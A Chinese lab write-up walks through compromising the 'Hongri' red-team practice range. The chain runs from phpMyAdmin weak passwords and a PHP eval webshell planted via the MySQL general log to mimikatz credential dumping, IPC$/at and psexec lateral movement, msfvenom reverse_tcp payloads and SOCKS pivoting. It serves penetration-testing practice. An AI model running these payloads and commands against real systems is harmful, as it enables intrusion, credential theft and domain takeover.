红日靶场复现1

红日靶场复现1🎈🎈🎈🎈🎉🎉🎉🎉🎉🎉🎈🎈🎉🎈🎈🎉

一、主机发现🎈🎈🎈🎈🎉🎉🎉🎉🎉

直接本地搭建
基本信息如下：

1.win7的密码:hongrisec@2019 ip地址：
192.168.52.143
192.168.6.142

2.window server2008的密码:Admin@123456 IP地址：
192.168.52.138

3.win2k3的密码：hongrisec@2019 修改密码为：Admin@123456 IP地址：
192.168.52.141

在这里插入图片描述

二、端口扫描🎈🎈🎈🎈🎉🎉🎉🎉🎉🎉🎈🎈🎉🎈🎈🎉

使用nmap对端口进行扫描
sudo nmap -sC -sV -p 80,135,139,445,1025,1026,1027,1028,1029,3306 -Pn 172.25.0.15

在这里插入图片描述

1.既然是渗透，web肯定是首选，因为开放了80端口，直接访问🎈🎈🎈🎈🎉🎉🎉🎉🎉🎉🎈🎈🎉🎈🎈🎉

在这里插入图片描述

2.直接看也不能看出什么，直接扫一下目录吧🎈🎈🎈🎈🎉🎉🎉🎉🎉🎉🎈🎈🎉🎈🎈🎉

sudo dirb http://172.25.0.15/

在这里插入图片描述

发现了/phpmyadmin/index.php目录，直接root,root弱口令直接进来了
在这里插入图片描述

3.登进数据库的后台，看能否获取权限`select @@basedir`查看`MySQL`的安装路径🎈🎈🎈🎈🎉🎉🎉🎉🎉🎉🎈🎈🎉🎈🎈🎉

在这里插入图片描述

4.通过语句查询可以找出`MySQL`的安装路径`C:/phpStudy/MySQL/`🎈🎈🎈🎈🎉🎉🎉🎉🎉🎉🎈🎈🎉🎈🎈🎉

show global variables like '%secure_file_priv%';
NULL 不允许导入或导出
/tmp 只允许在 /tmp 目录导入导出
空 不限制目录

在这里插入图片描述

5、通过 MySQL 日志导入木马。查看日志状态，执行命令：🎈🎈🎈🎈🎉🎉🎉🎉🎉🎉🎈🎈🎉🎈🎈🎉

show variables like '%general%';

在这里插入图片描述
当开启general_log时，所执行的SQL语句都会出现在stu1.log文件。那么如果修改general_log_file语句就会对应生成对应的文件中，进而可getshell。执行命令为：
set global general_log='on';

在这里插入图片描述
再次查看，我们所执行的命令，成功否

show variables like '%general%';

在这里插入图片描述
可以看到日志文件成功被打开。

6.指定日志写入到网站根目录的 `777.php` 文件,执行命令：🎈🎈🎈🎈🎉🎉🎉🎉🎉🎉🎈🎈🎉🎈🎈🎉

SET GLOBAL general_log_file='C:/phpStudy/www/777.php';

在这里插入图片描述

7.将木马写入文件777.php🎈🎈🎈🎈🎉🎉🎉🎉🎉🎉🎈🎈🎉🎈🎈🎉

SELECT '<?php eval($_POST["cmd"]);?>';

在这里插入图片描述

8.测试一下，我们的马儿写进去没有。🎈🎈🎈🎈🎉🎉🎉🎉🎉🎉🎈🎈🎉🎈🎈🎉

在这里插入图片描述

9.测试成功，我们直接上蚁剑，getshell🎈🎈🎈🎈🎉🎉🎉🎉🎉🎉🎈🎈🎉🎈🎈🎉

在这里插入图片描述

10.拿到`shell`之后，进行后渗透阶段🎈🎈🎈🎈🎉🎉🎉🎉🎉🎉🎈🎈🎉🎈🎈🎉

net user //列出用户
whoami //目前的权限

11.查看网络拓扑图🎈🎈🎈🎈🎉🎉🎉🎉🎉🎉🎈🎈🎉🎈🎈🎉

使用命令ipconfig
在这里插入图片描述

12.cs成功上线🎈🎈🎈🎈🎉🎉🎉🎉🎉🎉🎈🎈🎉🎈🎈🎉

在这里插入图片描述
域内信息收集
1.机器上线后，修改sleep值，同时查看其权限：
sleep 5
getuid

在这里插入图片描述
2.这里发现权限是GOD/Administrator，这里就有一个很关键的地方，根据之前webshell中查看的ip信息，发现是存在双网卡的，这里可以判断是存在域的，所以这里先来抓取密码。

3.然后继续使用minikatz来抓取一下密文密码：
在这里插入图片描述

知道了用户名：Administrator
密码:hongrisec@2019
点击视图下的密码凭证可以直观的查看抓取的结果
view—>credentials

在这里插入图片描述
4.可见已成功使用minikatz抓取了明文密码，但是根据之前的信息，这里既然存在域，所以要进行后续的域内攻击，首先进行域内信息收集：
命令:shell net config Workstation

命令：shell net localgroup administrators

//本机管理员（通常含有域用户）

在这里插入图片描述

5.命令：shell net view //查看局域网内其他主机名

在这里插入图片描述
6.根据信息收集，发现存在域和域内其他主机liukaifeng01,并且通过net view发现其他计算机名：OWA、ROOT-TVI862UBEH所以这里继续进行信息收集，先进行一个端口扫描

在返回的主机中
右键---->explore------>Port Scan
在这里插入图片描述

cs真的是个好东西，选择好之后直接跳出来，点点选选即可。

在这里插入图片描述

扫描完成，发现了主机：192.168.52.138、192.168.52.141、192.168.52.143,因为143这台是本机，所以138,141这两台是域内的靶机

在这里插入图片描述
查看一下视图中的目标

三、内网横向渗透🎈🎈🎈🎈🎉🎉🎉🎉🎉🎉🎈🎈🎉🎈🎈🎉

1.由于之前使用mimikataz来抓取了web服务器(win7)的密码，所以这里继续设定监听器，使用抓取的密码进行尝试，使用域账号登录其余主机，先创建隧道：🎈🎈🎈🎈🎉🎉🎉🎉🎉🎉🎈🎈🎉🎈🎈🎉

在这里插入图片描述

2.可能是我本地的在这个CSlow,直接使用命令进行新建会话🎈🎈🎈🎈🎉🎉🎉🎉🎉🎉🎈🎈🎉🎈🎈🎉

spawn win7
这里的win7要换成你所新建的监听器的名字。

在这里插入图片描述

3.横向移动，接下来针对192.168.52.138和192.168.52.141进行横向移动，在目标中选取jump—>psexec🎈🎈🎈🎈🎉🎉🎉🎉🎉🎉🎈🎈🎉🎈🎈🎉

在这里插入图片描述

在这里插入图片描述
上面的方法没有利用成功

4.因为`192.168.52.138`不出网，因此需要建立中转🎈🎈🎈🎈🎉🎉🎉🎉🎉🎉🎈🎈🎉🎈🎈🎉

在这里插入图片描述

5.返回的靶机中右键—>pivoting---->Listener🎈🎈🎈🎈🎉🎉🎉🎉🎉🎉🎈🎈🎉🎈🎈🎉

在这里插入图片描述

6.名字任取，端口尽量不要冲突，然后保存即可。🎈🎈🎈🎈🎉🎉🎉🎉🎉🎉🎈🎈🎉🎈🎈🎉

在这里插入图片描述

7.通过上述的监听器新建一个木马`2ndex.exe`🎈🎈🎈🎈🎉🎉🎉🎉🎉🎉🎈🎈🎉🎈🎈🎉

利用IPC%$&&at,schtasks计划任务
利用条件

1）没有禁用IPC$连接、139和445端口，未使用防火墙等方式来阻止IPC$。
2）目标机器开启了相关的IPC$服务
3）需要目标机器的管理员账号和密码（IPC$空连接除外）
4）需要得知目标机器IP地址并可相互通信。

shell net use \\192.168.200.66 /user:administrator "Hacker@1."beacon> shell net view \\192.168.200.66

使用命令 shell net use \\192.168.52.138 /user:administrator "Admin@123456"

在这里插入图片描述
查看其是否能共享
shell net view \\192168.52.138

在这里插入图片描述
查看目录shell dir \\192.168.52.138\c$

将前面生成的中转马上传到win7,利用cs本地的upload命令，使用命令shell dir查看其是否上传成功。

在这里插入图片描述
此时，我们可以利用IPC$将win7上的中转马上传至192.168.52.138，因为win7与内网win2008建立了共享连接。
命令如下所示
shell copy 2ndex.exe \\192.168.52.138\c$

shell dir \\192.168.52.138\c$

在这里插入图片描述

可以看出上传成功。

接下来就是通过远程执行木马即可使win2008上线可选用at，或者schtasks,win2008支持at，不支持schtasks。

先使用net time命令确定目标主机DC的当前时间：
shell net time \\192.168.52.138

在这里插入图片描述
还是报错了

在这里插入图片描述
报错解决
需要在win7 C:\Windows\System32\drivers\etc\hosts中添加
192.168.52.138 Remotehost

可通过cs中命令行利用echo写入，也可以在蚁剑中直接进入文件修改
shell echo 192.168.52.138 Remotehost >> c:\Windows\System32\drivers\etc\hosts

在这里插入图片描述
现在再执行即可
shell at \\192.168.52.138 11:35 C:/2ndex.exe

在这里插入图片描述
生成msf马
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.6.133 LPORT=1111 -f exe -o shell.exe

服务端监听
use explpit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.154.178
set lport 1111
exploit

在这里插入图片描述

查看域内信息
shell net config Workstation

在这里插入图片描述
使用CS的mimikatz功能抓取目标机用户密码：

通过CS的elevate进行账户提权：
在这里插入图片描述

MSF下会话传给CS

8.msf信息收集🎈🎈🎈🎈🎉🎉🎉🎉🎉🎉🎈🎈🎉🎈🎈🎉

1.msf arp 发现主机开机状态下才可探测出
run arp_scanner -r 192.168.52.0/24

2.run post/multi/recon/local_exploit_suggester 查看msf的提权

3.开启3389端口
run post/windows/manage/enable_rdp

在这里插入图片描述

9.跨网段横向渗透🎈🎈🎈🎈🎉🎉🎉🎉🎉🎉🎈🎈🎉🎈🎈🎉

1.新建一个新的监听器
Cobalt Strike—>Listeners

在这里插入图片描述
2.点击add,输入名字–>选择SMB–>保存即可

在这里插入图片描述

3.在目标靶机中右键—>spawn
在这里插入图片描述

4.选择新建的smb会话
在这里插入图片描述

5.使用派生的SMB作为跳板机，运行psexec进行横向移动
点击view–>targets（在此之前，需要使用hashdump和minikataz获取用户名和密码）—>目标靶机右键–>jump–>psexec

弹出的对话框中选择，用户名和密码，当然最重要的一点就是监听器的选择，选择smb这一监听器作为跳板，会话选择新建隧道的那一个。

在这里插入图片描述
这里有个技巧，直接看pid的值即可，否则很像，很容易出错

在这里插入图片描述
这个对话框的钩打了即可，不大也没关系，还在研究

在这里插入图片描述
成功拿下域控靶机192.168.52.138

在这里插入图片描述

在这里插入图片描述
内网横向成功，接下来还有一台。

在这里插入图片描述

因为方法和前面那一台目标靶机相似，故这里就不再赘述

在这里插入图片描述

成功拿下目标靶机192.168.52.141

在这里插入图片描述

10.msf socks4a proxychains 穿透内网🎈🎈🎈🎈🎉🎉🎉🎉🎉🎉🎈🎈🎉🎈🎈🎉

1.run autoroute -s 192.168.52.0/24 #添加路由
2.run autoroute -p #查看是否添加成功
3.background #返回
4.route print #输出路由
5.use auxiliary/server/socks4a #使用socks4a模块
6.set srvport 1080 #设置端口1080
7.run #运行

远程连接
rdesktop

获取域内用户的详细信息
shell wmic useraccount get /all

在这里插入图片描述

查看是否存在杀毒进程：tasklist

四、另外的一种方法🎈🎈🎈🎈🎉🎉🎉🎉🎉🎉🎈🎈🎉🎈🎈🎉

参考连接：
https://syst1m.top/2022/07/17/ATT&CK%E7%BA%A2%E9%98%9F%E5%AE%9E%E6%88%98%E9%9D%B6%E5%9C%BA01/#%E8%BF%9B%E5%85%A5%E5%86%85%E7%BD%91

1.内网信息收集🎈🎈🎈🎈🎉🎉🎉🎉🎉🎉🎈🎈🎉🎈🎈🎉

whoami查看当前用户为system权限

在这里插入图片描述
ipconfig发现还存在一个网段

在这里插入图片描述
net config workstation查看当前计算机名称，用户名等详细信息

在这里插入图片描述

shell net localgroup administrators查看其他管理员

在这里插入图片描述
systeminfo查看系统信息，发现打了4个补丁，当前域为god.org，与服务器名OWA

在这里插入图片描述

2.msf反弹shell🎈🎈🎈🎈🎉🎉🎉🎉🎉🎉😍😍

1.生成木马
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.6.133 LPORT=6666 -f exe >/home/kali/Desktop/muma/6666.exe

在这里插入图片描述

2.使用蚁剑上传msf生成的木马🎈🎈🎈🎈🎉🎉🎉🎉🎉🎉😍😍

在这里插入图片描述

3.kali的服务端监听端口🎈🎈🎈🎈🎉🎉🎉🎉🎉🎉😍😍
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.6.133
set lport 6666
run

在这里插入图片描述

4.客户端这边使用蚁剑运行6666.exe木马🍔🍔🍔🍔🍔🍔🍔🍔

在这里插入图片描述

5.查看服务端这边，返回shell😍😍😍😍😍😍🍔🍔🍔🍔🍔🍔🌭🌭🌭🌭🥨🥨🥨🥨🥨🥨🥨

在这里插入图片描述

3.进入内网，信息收集❤️❤️❤️❤️❤️❤️❤️🎈🎈🎈🎈🎈🎈🎈🎊🎊🎊🎊🎊🎊🎊

1.查看安装的软件
run post/windows/gather/enum_applications

在这里插入图片描述

2.查看路由，发现还存在另一个网段192.168.52.0/24💕💕💕💕💕💕💕💕💕💕💕💕💕
arp -a

在这里插入图片描述
3.添加路由😘😘😘😘😘😘😘😘😘😘😘😘😘
run autoroute -s 192.168.52.0/24#添加路由
run autoroute -p #查看路由

在这里插入图片描述
4.设置代理访问内网
background
use auxiliary/server/socks_proxy
show options
set srvhost 192.168.6.133 #可以使用本地IP
set srvport 1080
set version 4a
run

在这里插入图片描述

修改代理配置文件
vim /etc/proxychains4.conf
末尾加上如下图所示语句。
socks4 127.0.0.1 1080

在这里插入图片描述

检测代理是否成功
sudo proxychains curl http://192.168.52.138
在这里插入图片描述
发现代理成功
5.探测内网存活主机
use post/windows/gather/arp_scanner
show options
sessions
set session 8
set rhost 192.168.52.0/24
set threads 100
exploit